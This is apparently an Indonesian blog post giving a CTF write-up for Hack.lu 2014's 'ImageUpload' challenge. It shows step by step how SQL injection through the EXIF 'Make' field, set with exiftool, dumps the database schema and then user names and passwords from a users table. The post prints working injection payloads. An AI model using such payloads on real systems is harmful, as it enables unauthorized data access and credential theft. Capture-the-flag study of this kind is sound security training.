Thursday, October 23, 2014

HACK.LU CTF 2014: ImageUpload

Soal:

In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help. 
Upload pictures of criminals to this site and help the sheriff to arrest them. 
You can make this Wild Wild Web much less wild!!!

Kita diberi halaman untuk login, tapi tanpa login kita bisa mengupload image:

loginpart 

Ketika mengupload gambar kecil (kosong, putih), yang muncul adalah:

empty-stuff

Terlihat bahwa ada field Manufacturer dan Model, kemungkinan besar ini didapat dari data EXIF (yang tidak ada di file yang saya upload). Kita bisa mencoba-coba mengganti Model:

exifmodel

Dan bisa berhasil:

model

Dengan mengoba memasukkan karakter “’” didapat pesan error SQL, jadi ini adalah masalah injection di Insert. Dari urutan field, yang perlu kita modifikasi adalah Manufacturer (sebenarnyanya model juga bisa, tapi lebih sulit).

 

Ternyata yang harus dimodifikasi adalah attribut “Make”exif-not-writable

devicemake

Dan bisa kita test:

devicemake-display

Beberapa query yang dipakai:

exiftool -Make="', (SELECT group_concat(schema_name separator '|') FROM information_schema.schemata)) -- " empty.jpg

Ini adalah contoh output mendapatkan daftar database:

databasenames

exiftool -Make="', (SELECT group_concat(table_name separator '|') FROM information_schema.tables WHERE table_schema='chal')) -- " empty.jpg

Seterusnya kita dapatkan nama kolom untuk users

exiftool -Make="', (SELECT group_concat(column_name separator '|') FROM information_schema.columns WHERE table_name='users')) -- " empty.jpg

Dan terakhir daftar user dan passwordnya:

exiftool -Make="', (SELECT group_concat(concat(name, ' - ', password) separator '|') FROM users)) -- " empty.jpg

userpass

Dan dengan menggunakan Link Login kita bisa login sebagai Sheriff

thepass

No comments:

Post a Comment